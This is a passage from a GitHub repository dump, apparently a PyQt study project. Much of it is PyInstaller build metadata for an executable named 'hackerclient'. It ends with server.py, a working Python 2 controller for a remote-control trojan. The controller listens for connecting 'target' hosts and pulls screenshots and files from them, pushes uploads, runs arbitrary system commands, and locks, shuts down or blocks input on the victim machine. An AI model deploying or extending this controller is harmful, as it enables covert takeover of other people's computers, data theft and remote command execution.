('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'), 233 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'), 234 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'), 235 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'), 236 | ('api-ms-win-crt-multibyte-l1-1-0.dll', 237 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll', 238 | 'BINARY'), 239 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY'), 240 | ('base_library.zip', 241 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip', 242 | 'DATA'), 243 | ('hackerclient.exe.manifest', 244 | 'F:\\GitHub\\control\\build\\hackerclient\\hackerclient.exe.manifest', 245 | 'BINARY'), 246 | ('pyi-windows-manifest-filename hackerclient.exe.manifest', '', 'OPTION')], 247 | False, 248 | False, 249 | False) 250 | -------------------------------------------------------------------------------- /control/build/hackerclient/out00-PYZ.pyz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/out00-PYZ.pyz -------------------------------------------------------------------------------- /control/build/hackerclient/out00-PYZ.toc: -------------------------------------------------------------------------------- 1 | ('F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz', 2 | [('ntpath', 'E:\\Anaconda3\\lib\\ntpath.py', 'PYMODULE'), 3 | ('_strptime', 'E:\\Anaconda3\\lib\\_strptime.py', 'PYMODULE'), 4 | ('datetime', 'E:\\Anaconda3\\lib\\datetime.py', 'PYMODULE'), 5 | ('stringprep', 'E:\\Anaconda3\\lib\\stringprep.py', 'PYMODULE'), 6 | ('__future__', 'E:\\Anaconda3\\lib\\__future__.py', 'PYMODULE'), 7 | ('argparse', 'E:\\Anaconda3\\lib\\argparse.py', 'PYMODULE'), 8 | ('difflib', 'E:\\Anaconda3\\lib\\difflib.py', 'PYMODULE'), 9 | ('ast', 'E:\\Anaconda3\\lib\\ast.py', 'PYMODULE'), 10 | ('inspect', 'E:\\Anaconda3\\lib\\inspect.py', 'PYMODULE'), 11 | ('cmd', 'E:\\Anaconda3\\lib\\cmd.py', 'PYMODULE'), 12 | ('bdb', 'E:\\Anaconda3\\lib\\bdb.py', 'PYMODULE'), 13 | ('opcode', 'E:\\Anaconda3\\lib\\opcode.py', 'PYMODULE'), 14 | ('dis', 'E:\\Anaconda3\\lib\\dis.py', 'PYMODULE'), 15 | ('codeop', 'E:\\Anaconda3\\lib\\codeop.py', 'PYMODULE'), 16 | ('code', 'E:\\Anaconda3\\lib\\code.py', 'PYMODULE'), 17 | ('glob', 'E:\\Anaconda3\\lib\\glob.py', 'PYMODULE'), 18 | ('pyreadline.rlmain', 19 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\rlmain.py', 20 | 'PYMODULE'), 21 | ('pyreadline.clipboard.ironpython_clipboard', 22 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\ironpython_clipboard.py', 23 | 'PYMODULE'), 24 | ('pyreadline.clipboard.no_clipboard', 25 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\no_clipboard.py', 26 | 'PYMODULE'), 27 | ('pyreadline.clipboard.win32_clipboard', 28 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\win32_clipboard.py', 29 | 'PYMODULE'), 30 | ('pyreadline.clipboard', 31 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\__init__.py', 32 | 'PYMODULE'), 33 | ('pyreadline.lineeditor', 34 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\__init__.py', 35 | 'PYMODULE'), 36 | ('pyreadline.error', 37 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\error.py', 38 | 'PYMODULE'), 39 | ('pyreadline.modes.basemode', 40 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\basemode.py', 41 | 'PYMODULE'), 42 | ('pyreadline.modes.emacs', 43 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\emacs.py', 44 | 'PYMODULE'), 45 | ('pyreadline.modes.notemacs', 46 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\notemacs.py', 47 | 'PYMODULE'), 48 | ('pyreadline.lineeditor.wordmatcher', 49 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\wordmatcher.py', 50 | 'PYMODULE'), 51 | ('pyreadline.lineeditor.lineobj', 52 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\lineobj.py', 53 | 'PYMODULE'), 54 | ('pyreadline.lineeditor.history', 55 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\history.py', 56 | 'PYMODULE'), 57 | ('pyreadline.modes.vi', 58 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\vi.py', 59 | 'PYMODULE'), 60 | ('pyreadline.modes', 61 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\__init__.py', 62 | 'PYMODULE'), 63 | ('pyreadline.release', 64 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\release.py', 65 | 'PYMODULE'), 66 | ('pyreadline', 67 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\__init__.py', 68 | 'PYMODULE'), 69 | ('pyreadline.console.ironpython_console', 70 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ironpython_console.py', 71 | 'PYMODULE'), 72 | ('pyreadline.py3k_compat', 73 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\py3k_compat.py', 74 | 'PYMODULE'), 75 | ('pyreadline.unicode_helper', 76 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\unicode_helper.py', 77 | 'PYMODULE'), 78 | ('queue', 'E:\\Anaconda3\\lib\\queue.py', 'PYMODULE'), 79 | ('hmac', 'E:\\Anaconda3\\lib\\hmac.py', 'PYMODULE'), 80 | ('smtplib', 'E:\\Anaconda3\\lib\\smtplib.py', 'PYMODULE'), 81 | ('win32con', 82 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32con.py', 83 | 'PYMODULE'), 84 | ('winerror', 85 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\winerror.py', 86 | 'PYMODULE'), 87 | ('win32evtlogutil', 88 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32evtlogutil.py', 89 | 'PYMODULE'), 90 | ('logging.handlers', 'E:\\Anaconda3\\lib\\logging\\handlers.py', 'PYMODULE'), 91 | ('pyreadline.logger', 92 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\logger.py', 93 | 'PYMODULE'), 94 | ('pyreadline.keysyms.winconstants', 95 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\winconstants.py', 96 | 'PYMODULE'), 97 | ('pyreadline.keysyms.ironpython_keysyms', 98 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\ironpython_keysyms.py', 99 | 'PYMODULE'), 100 | ('pyreadline.keysyms.common', 101 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\common.py', 102 | 'PYMODULE'), 103 | ('pyreadline.keysyms.keysyms', 104 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\keysyms.py', 105 | 'PYMODULE'), 106 | ('pyreadline.keysyms', 107 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\__init__.py', 108 | 'PYMODULE'), 109 | ('pyreadline.console.ansi', 110 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ansi.py', 111 | 'PYMODULE'), 112 | ('ctypes.macholib.framework', 113 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\framework.py', 114 | 'PYMODULE'), 115 | ('ctypes.macholib.dylib', 116 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dylib.py', 117 | 'PYMODULE'), 118 | ('ctypes.macholib', 119 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\__init__.py', 120 | 'PYMODULE'), 121 | ('ctypes.macholib.dyld', 122 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dyld.py', 123 | 'PYMODULE'), 124 | ('ctypes.util', 'E:\\Anaconda3\\lib\\ctypes\\util.py', 'PYMODULE'), 125 | ('ctypes._endian', 'E:\\Anaconda3\\lib\\ctypes\\_endian.py', 'PYMODULE'), 126 | ('ctypes', 'E:\\Anaconda3\\lib\\ctypes\\__init__.py', 'PYMODULE'), 127 | ('ctypes.wintypes', 'E:\\Anaconda3\\lib\\ctypes\\wintypes.py', 'PYMODULE'), 128 | ('pyreadline.console.event', 129 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\event.py', 130 | 'PYMODULE'), 131 | ('pyreadline.console.console', 132 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\console.py', 133 | 'PYMODULE'), 134 | ('pyreadline.console', 135 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\__init__.py', 136 | 'PYMODULE'), 137 | ('readline', 'E:\\Anaconda3\\lib\\site-packages\\readline.py', 'PYMODULE'), 138 | ('shlex', 'E:\\Anaconda3\\lib\\shlex.py', 'PYMODULE'), 139 | ('importlib._bootstrap', 140 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap.py', 141 | 'PYMODULE'), 142 | ('importlib._bootstrap_external', 143 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap_external.py', 144 | 'PYMODULE'), 145 | ('importlib.machinery', 146 | 'E:\\Anaconda3\\lib\\importlib\\machinery.py', 147 | 'PYMODULE'), 148 | ('importlib.util', 'E:\\Anaconda3\\lib\\importlib\\util.py', 'PYMODULE'), 149 | ('importlib.abc', 'E:\\Anaconda3\\lib\\importlib\\abc.py', 'PYMODULE'), 150 | ('importlib', 'E:\\Anaconda3\\lib\\importlib\\__init__.py', 'PYMODULE'), 151 | ('pkgutil', 'E:\\Anaconda3\\lib\\pkgutil.py', 'PYMODULE'), 152 | ('xml', 'E:\\Anaconda3\\lib\\xml\\__init__.py', 'PYMODULE'), 153 | ('xml.sax.expatreader', 154 | 'E:\\Anaconda3\\lib\\xml\\sax\\expatreader.py', 155 | 'PYMODULE'), 156 | ('xml.sax.saxutils', 'E:\\Anaconda3\\lib\\xml\\sax\\saxutils.py', 'PYMODULE'), 157 | ('urllib.request', 'E:\\Anaconda3\\lib\\urllib\\request.py', 'PYMODULE'), 158 | ('getpass', 'E:\\Anaconda3\\lib\\getpass.py', 'PYMODULE'), 159 | ('nturl2path', 'E:\\Anaconda3\\lib\\nturl2path.py', 'PYMODULE'), 160 | ('ftplib', 'E:\\Anaconda3\\lib\\ftplib.py', 'PYMODULE'), 161 | ('netrc', 'E:\\Anaconda3\\lib\\netrc.py', 'PYMODULE'), 162 | ('http.cookiejar', 'E:\\Anaconda3\\lib\\http\\cookiejar.py', 'PYMODULE'), 163 | ('urllib.response', 'E:\\Anaconda3\\lib\\urllib\\response.py', 'PYMODULE'), 164 | ('urllib.error', 'E:\\Anaconda3\\lib\\urllib\\error.py', 'PYMODULE'), 165 | ('xml.sax', 'E:\\Anaconda3\\lib\\xml\\sax\\__init__.py', 'PYMODULE'), 166 | ('xml.sax.handler', 'E:\\Anaconda3\\lib\\xml\\sax\\handler.py', 'PYMODULE'), 167 | ('xml.sax._exceptions', 168 | 'E:\\Anaconda3\\lib\\xml\\sax\\_exceptions.py', 169 | 'PYMODULE'), 170 | ('xml.sax.xmlreader', 171 | 'E:\\Anaconda3\\lib\\xml\\sax\\xmlreader.py', 172 | 'PYMODULE'), 173 | ('xml.parsers', 'E:\\Anaconda3\\lib\\xml\\parsers\\__init__.py', 'PYMODULE'), 174 | ('xml.parsers.expat', 175 | 'E:\\Anaconda3\\lib\\xml\\parsers\\expat.py', 176 | 'PYMODULE'), 177 | ('plistlib', 'E:\\Anaconda3\\lib\\plistlib.py', 'PYMODULE'), 178 | ('platform', 'E:\\Anaconda3\\lib\\platform.py', 'PYMODULE'), 179 | ('token', 'E:\\Anaconda3\\lib\\token.py', 'PYMODULE'), 180 | ('tokenize', 'E:\\Anaconda3\\lib\\tokenize.py', 'PYMODULE'), 181 | ('urllib.parse', 'E:\\Anaconda3\\lib\\urllib\\parse.py', 'PYMODULE'), 182 | ('tempfile', 'E:\\Anaconda3\\lib\\tempfile.py', 'PYMODULE'), 183 | ('subprocess', 'E:\\Anaconda3\\lib\\subprocess.py', 'PYMODULE'), 184 | ('tty', 'E:\\Anaconda3\\lib\\tty.py', 'PYMODULE'), 185 | ('pydoc_data', 'E:\\Anaconda3\\lib\\pydoc_data\\__init__.py', 'PYMODULE'), 186 | ('pydoc_data.topics', 187 | 'E:\\Anaconda3\\lib\\pydoc_data\\topics.py', 188 | 'PYMODULE'), 189 | ('textwrap', 'E:\\Anaconda3\\lib\\textwrap.py', 'PYMODULE'), 190 | ('html.entities', 'E:\\Anaconda3\\lib\\html\\entities.py', 'PYMODULE'), 191 | ('html', 'E:\\Anaconda3\\lib\\html\\__init__.py', 'PYMODULE'), 192 | ('ipaddress', 'E:\\Anaconda3\\lib\\ipaddress.py', 'PYMODULE'), 193 | ('ssl', 'E:\\Anaconda3\\lib\\ssl.py', 'PYMODULE'), 194 | ('http.client', 'E:\\Anaconda3\\lib\\http\\client.py', 'PYMODULE'), 195 | ('mimetypes', 'E:\\Anaconda3\\lib\\mimetypes.py', 'PYMODULE'), 196 | ('socketserver', 'E:\\Anaconda3\\lib\\socketserver.py', 'PYMODULE'), 197 | ('http', 'E:\\Anaconda3\\lib\\http\\__init__.py', 'PYMODULE'), 198 | ('http.server', 'E:\\Anaconda3\\lib\\http\\server.py', 'PYMODULE'), 199 | ('optparse', 'E:\\Anaconda3\\lib\\optparse.py', 'PYMODULE'), 200 | ('uu', 'E:\\Anaconda3\\lib\\uu.py', 'PYMODULE'), 201 | ('quopri', 'E:\\Anaconda3\\lib\\quopri.py', 'PYMODULE'), 202 | ('email.feedparser', 'E:\\Anaconda3\\lib\\email\\feedparser.py', 'PYMODULE'), 203 | ('email.parser', 'E:\\Anaconda3\\lib\\email\\parser.py', 'PYMODULE'), 204 | ('email', 'E:\\Anaconda3\\lib\\email\\__init__.py', 'PYMODULE'), 205 | ('calendar', 'E:\\Anaconda3\\lib\\calendar.py', 'PYMODULE'), 206 | ('email._parseaddr', 'E:\\Anaconda3\\lib\\email\\_parseaddr.py', 'PYMODULE'), 207 | ('email.utils', 'E:\\Anaconda3\\lib\\email\\utils.py', 'PYMODULE'), 208 | ('email.errors', 'E:\\Anaconda3\\lib\\email\\errors.py', 'PYMODULE'), 209 | ('email.header', 'E:\\Anaconda3\\lib\\email\\header.py', 'PYMODULE'), 210 | ('email._policybase', 211 | 'E:\\Anaconda3\\lib\\email\\_policybase.py', 212 | 'PYMODULE'), 213 | ('email.base64mime', 'E:\\Anaconda3\\lib\\email\\base64mime.py', 'PYMODULE'), 214 | ('email.encoders', 'E:\\Anaconda3\\lib\\email\\encoders.py', 'PYMODULE'), 215 | ('email.charset', 'E:\\Anaconda3\\lib\\email\\charset.py', 'PYMODULE'), 216 | ('base64', 'E:\\Anaconda3\\lib\\base64.py', 'PYMODULE'), 217 | ('email._encoded_words', 218 | 'E:\\Anaconda3\\lib\\email\\_encoded_words.py', 219 | 'PYMODULE'), 220 | ('hashlib', 'E:\\Anaconda3\\lib\\hashlib.py', 'PYMODULE'), 221 | ('bisect', 'E:\\Anaconda3\\lib\\bisect.py', 'PYMODULE'), 222 | ('random', 'E:\\Anaconda3\\lib\\random.py', 'PYMODULE'), 223 | ('email.generator', 'E:\\Anaconda3\\lib\\email\\generator.py', 'PYMODULE'), 224 | ('email.iterators', 'E:\\Anaconda3\\lib\\email\\iterators.py', 'PYMODULE'), 225 | ('urllib', 'E:\\Anaconda3\\lib\\urllib\\__init__.py', 'PYMODULE'), 226 | ('email._header_value_parser', 227 | 'E:\\Anaconda3\\lib\\email\\_header_value_parser.py', 228 | 'PYMODULE'), 229 | ('email.headerregistry', 230 | 'E:\\Anaconda3\\lib\\email\\headerregistry.py', 231 | 'PYMODULE'), 232 | ('email.quoprimime', 'E:\\Anaconda3\\lib\\email\\quoprimime.py', 'PYMODULE'), 233 | ('email.contentmanager', 234 | 'E:\\Anaconda3\\lib\\email\\contentmanager.py', 235 | 'PYMODULE'), 236 | ('email.policy', 'E:\\Anaconda3\\lib\\email\\policy.py', 'PYMODULE'), 237 | ('email.message', 'E:\\Anaconda3\\lib\\email\\message.py', 'PYMODULE'), 238 | ('bz2', 'E:\\Anaconda3\\lib\\bz2.py', 'PYMODULE'), 239 | ('lzma', 'E:\\Anaconda3\\lib\\lzma.py', 'PYMODULE'), 240 | ('_compression', 'E:\\Anaconda3\\lib\\_compression.py', 'PYMODULE'), 241 | ('gzip', 'E:\\Anaconda3\\lib\\gzip.py', 'PYMODULE'), 242 | ('tarfile', 'E:\\Anaconda3\\lib\\tarfile.py', 'PYMODULE'), 243 | ('_dummy_thread', 'E:\\Anaconda3\\lib\\_dummy_thread.py', 'PYMODULE'), 244 | ('dummy_threading', 'E:\\Anaconda3\\lib\\dummy_threading.py', 'PYMODULE'), 245 | ('py_compile', 'E:\\Anaconda3\\lib\\py_compile.py', 'PYMODULE'), 246 | ('zipfile', 'E:\\Anaconda3\\lib\\zipfile.py', 'PYMODULE'), 247 | ('shutil', 'E:\\Anaconda3\\lib\\shutil.py', 'PYMODULE'), 248 | ('selectors', 'E:\\Anaconda3\\lib\\selectors.py', 'PYMODULE'), 249 | ('webbrowser', 'E:\\Anaconda3\\lib\\webbrowser.py', 'PYMODULE'), 250 | ('pydoc', 'E:\\Anaconda3\\lib\\pydoc.py', 'PYMODULE'), 251 | ('copy', 'E:\\Anaconda3\\lib\\copy.py', 'PYMODULE'), 252 | ('gettext', 'E:\\Anaconda3\\lib\\gettext.py', 'PYMODULE'), 253 | ('getopt', 'E:\\Anaconda3\\lib\\getopt.py', 'PYMODULE'), 254 | ('pdb', 'E:\\Anaconda3\\lib\\pdb.py', 'PYMODULE'), 255 | ('unittest.util', 'E:\\Anaconda3\\lib\\unittest\\util.py', 'PYMODULE'), 256 | ('unittest.result', 'E:\\Anaconda3\\lib\\unittest\\result.py', 'PYMODULE'), 257 | ('string', 'E:\\Anaconda3\\lib\\string.py', 'PYMODULE'), 258 | ('_threading_local', 'E:\\Anaconda3\\lib\\_threading_local.py', 'PYMODULE'), 259 | ('threading', 'E:\\Anaconda3\\lib\\threading.py', 'PYMODULE'), 260 | ('logging', 'E:\\Anaconda3\\lib\\logging\\__init__.py', 'PYMODULE'), 261 | ('contextlib', 'E:\\Anaconda3\\lib\\contextlib.py', 'PYMODULE'), 262 | ('unittest.case', 'E:\\Anaconda3\\lib\\unittest\\case.py', 'PYMODULE'), 263 | ('unittest.suite', 'E:\\Anaconda3\\lib\\unittest\\suite.py', 'PYMODULE'), 264 | ('unittest.loader', 'E:\\Anaconda3\\lib\\unittest\\loader.py', 'PYMODULE'), 265 | ('stat', 'E:\\Anaconda3\\lib\\stat.py', 'PYMODULE'), 266 | ('genericpath', 'E:\\Anaconda3\\lib\\genericpath.py', 'PYMODULE'), 267 | ('posixpath', 'E:\\Anaconda3\\lib\\posixpath.py', 'PYMODULE'), 268 | ('fnmatch', 'E:\\Anaconda3\\lib\\fnmatch.py', 'PYMODULE'), 269 | ('struct', 'E:\\Anaconda3\\lib\\struct.py', 'PYMODULE'), 270 | ('_compat_pickle', 'E:\\Anaconda3\\lib\\_compat_pickle.py', 'PYMODULE'), 271 | ('pprint', 'E:\\Anaconda3\\lib\\pprint.py', 'PYMODULE'), 272 | ('pickle', 'E:\\Anaconda3\\lib\\pickle.py', 'PYMODULE'), 273 | ('tracemalloc', 'E:\\Anaconda3\\lib\\tracemalloc.py', 'PYMODULE'), 274 | ('warnings', 'E:\\Anaconda3\\lib\\warnings.py', 'PYMODULE'), 275 | ('unittest.runner', 'E:\\Anaconda3\\lib\\unittest\\runner.py', 'PYMODULE'), 276 | ('unittest.main', 'E:\\Anaconda3\\lib\\unittest\\main.py', 'PYMODULE'), 277 | ('enum', 'E:\\Anaconda3\\lib\\enum.py', 'PYMODULE'), 278 | ('signal', 'E:\\Anaconda3\\lib\\signal.py', 'PYMODULE'), 279 | ('unittest.signals', 'E:\\Anaconda3\\lib\\unittest\\signals.py', 'PYMODULE'), 280 | ('unittest', 'E:\\Anaconda3\\lib\\unittest\\__init__.py', 'PYMODULE'), 281 | ('doctest', 'E:\\Anaconda3\\lib\\doctest.py', 'PYMODULE'), 282 | ('socket', 'E:\\Anaconda3\\lib\\socket.py', 'PYMODULE'), 283 | ('os', 'E:\\Anaconda3\\lib\\os.py', 'PYMODULE'), 284 | ('PyQt5', 285 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\__init__.py', 286 | 'PYMODULE')]) 287 | -------------------------------------------------------------------------------- /control/build/hackerclient/warnhackerclient.txt: -------------------------------------------------------------------------------- 1 | missing module named resource - imported by posix, F:\GitHub\control\Ui_windows.py 2 | missing module named posix - imported by os, F:\GitHub\control\Ui_windows.py 3 | missing module named _posixsubprocess - imported by subprocess, F:\GitHub\control\Ui_windows.py 4 | missing module named clr - imported by pyreadline.clipboard.ironpython_clipboard, pyreadline.console.ironpython_console, F:\GitHub\control\Ui_windows.py 5 | missing module named IronPythonConsole - imported by pyreadline.console.ironpython_console, F:\GitHub\control\Ui_windows.py 6 | missing module named StringIO - imported by pyreadline.py3k_compat, F:\GitHub\control\Ui_windows.py 7 | missing module named System - imported by pyreadline.clipboard.ironpython_clipboard, pyreadline.keysyms.ironpython_keysyms, pyreadline.console.ironpython_console, pyreadline.rlmain, F:\GitHub\control\Ui_windows.py 8 | missing module named sets - imported by pyreadline.keysyms.common, F:\GitHub\control\Ui_windows.py 9 | missing module named startup - imported by pyreadline.keysyms.common, pyreadline.keysyms.keysyms, F:\GitHub\control\Ui_windows.py 10 | missing module named console - imported by pyreadline.console.ansi, F:\GitHub\control\Ui_windows.py 11 | excluded module named _frozen_importlib - imported by importlib, importlib.abc, F:\GitHub\control\Ui_windows.py 12 | missing module named _frozen_importlib_external - imported by importlib._bootstrap, importlib, importlib.abc, F:\GitHub\control\Ui_windows.py 13 | missing module named _winreg - imported by platform, F:\GitHub\control\Ui_windows.py 14 | missing module named _scproxy - imported by urllib.request 15 | missing module named java - imported by platform, F:\GitHub\control\Ui_windows.py 16 | missing module named 'java.lang' - imported by platform, F:\GitHub\control\Ui_windows.py, xml.sax._exceptions 17 | missing module named vms_lib - imported by platform, F:\GitHub\control\Ui_windows.py 18 | missing module named termios - imported by tty, F:\GitHub\control\Ui_windows.py, getpass 19 | missing module named grp - imported by shutil, tarfile, F:\GitHub\control\Ui_windows.py 20 | missing module named _dummy_threading - imported by dummy_threading, F:\GitHub\control\Ui_windows.py 21 | missing module named org - imported by copy, F:\GitHub\control\Ui_windows.py 22 | missing module named pwd - imported by posixpath, shutil, tarfile, http.server, webbrowser, F:\GitHub\control\Ui_windows.py, netrc, getpass 23 | missing module named 'org.python' - imported by pickle, F:\GitHub\control\Ui_windows.py, xml.sax 24 | -------------------------------------------------------------------------------- /control/dist/hackerclient.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/dist/hackerclient.exe -------------------------------------------------------------------------------- /control/hackerclient.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(['Ui_windows.py'], 7 | pathex=['F:\\GitHub\\control'], 8 | binaries=[], 9 | datas=[], 10 | hiddenimports=[], 11 | hookspath=[], 12 | runtime_hooks=[], 13 | excludes=[], 14 | win_no_prefer_redirects=False, 15 | win_private_assemblies=False, 16 | cipher=block_cipher) 17 | pyz = PYZ(a.pure, a.zipped_data, 18 | cipher=block_cipher) 19 | exe = EXE(pyz, 20 | a.scripts, 21 | a.binaries, 22 | a.zipfiles, 23 | a.datas, 24 | name='hackerclient', 25 | debug=False, 26 | strip=False, 27 | upx=True, 28 | runtime_tmpdir=None, 29 | console=True ) 30 | -------------------------------------------------------------------------------- /control/picture/2018-06-30_170734.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_170734.png -------------------------------------------------------------------------------- /control/picture/2018-06-30_171030.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171030.png -------------------------------------------------------------------------------- /control/picture/2018-06-30_171056.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171056.png -------------------------------------------------------------------------------- /control/picture/2018-06-30_171320.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/2018-06-30_171320.png -------------------------------------------------------------------------------- /control/picture/title.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/picture/title.ico -------------------------------------------------------------------------------- /control/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import socket 4 | import threading 5 | 6 | bind_ip = '0.0.0.0' 7 | bind_port = 8083 8 | 9 | 10 | # init the server 11 | def setup(): 12 | help() 13 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 14 | server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 15 | server.bind((bind_ip, bind_port)) 16 | server.listen(5) 17 | print '[+] Listening on %s:%d' % (bind_ip, bind_port) 18 | return server 19 | 20 | # recv the client screenshot 21 | def recvFile(client_socket,type): 22 | if (type == "jpg"): 23 | if (os.path.isfile("screenshot.jpg")): 24 | os.remove("screenshot.jpg") 25 | f = open("screenshot.jpg","wb") 26 | else: 27 | file = "recvfile%s" % type 28 | f = open(file,"wb") 29 | 30 | while(1): 31 | data = client_socket.recv(1024) 32 | if (len(data)<8) and (data[:3] == "EOF"): 33 | if data[3:5] == "NN": 34 | os.remove(file) 35 | print "[-] Recv file error!" 36 | else: 37 | print "[+] Recv file success!" 38 | 39 | break 40 | f.write(data) 41 | f.close() 42 | 43 | # send the local File 44 | def sendFile(client_socket): 45 | filename = raw_input("File: ") 46 | try: 47 | f = open(filename,"rb") 48 | except: 49 | print "Open %s error!" % filename 50 | 51 | destPath = raw_input("To: ") 52 | client_socket.send(destPath) 53 | 54 | time.sleep(1) 55 | while(1): 56 | data = f.read(512) 57 | if not data: 58 | break 59 | client_socket.sendall(data) 60 | f.close() 61 | time.sleep(10) 62 | client_socket.sendall("EOF") 63 | 64 | print "Send file successed!" 65 | 66 | 67 | 68 | # this is our client-handling thread 69 | def handle_client(client_socket): 70 | 71 | # get a client 72 | data = client_socket.recv(1024).split("#") 73 | print "[+] Computer name: %s Username: %s" % (data[0],data[1]) 74 | 75 | # send back a packet 76 | while(1): 77 | cmd = raw_input(">>> ") 78 | if len(cmd) > 0: 79 | client_socket.send(cmd) 80 | if cmd == "screenshot": 81 | recvFile(client_socket,"jpg") 82 | continue 83 | elif cmd == "download": 84 | cmd = raw_input("File: ") 85 | client_socket.send(cmd) 86 | recvFile(client_socket,cmd[-4:]) 87 | continue 88 | elif cmd == "upload": 89 | sendFile(client_socket) 90 | continue 91 | 92 | elif cmd == "kill-client": 93 | data = client_socket.recv(1024) 94 | print "[-] %s" % data 95 | break 96 | 97 | elif cmd[0] == "$": 98 | data = client_socket.recv(5120) 99 | print data.decode('gbk') 100 | continue 101 | else: 102 | continue 103 | 104 | 105 | # this is the help 106 | def help(): 107 | print "=====================================================================" 108 | print "Usage:" 109 | print "\tshutdown --shutdowm the target host after 10s." 110 | print "\treboot --reboot the target host after 10s." 111 | print "\tcancel --cancel shutdown or reboot." 112 | print "\tscreenshot --screenshot the target host." 113 | print "\tlock --lock the target host." 114 | print "\tmouse --move the mouse the the location of (0,0)." 115 | print "\tblockinput --lock the target's keyboard and mouse in 5s." 116 | print "\t$some cmd --run the system commend." 117 | print "\t@some message --send a message to the target's desktop." 118 | print "Author: s0nnet" 119 | print "Email: s0nnet@qq.com" 120 | print "Update: 2015/6/28" 121 | print "======================================================================" 122 | 123 | 124 | 125 | if __name__ == "__main__": 126 | server = setup() 127 | while True: 128 | client, addr = server.accept() 129 | print '[+] Accept connection from: %s:%d' % (addr[0], addr[1]) 130 | 131 | # spin up our client thread to handle incoming data 132 | client_handler = threading.Thread(target=handle_client, args=(client,)) 133 | client_handler.start() 134 | -------------------------------------------------------------------------------- /control/telnet/Debug/client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.exe -------------------------------------------------------------------------------- /control/telnet/Debug/client.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.ilk -------------------------------------------------------------------------------- 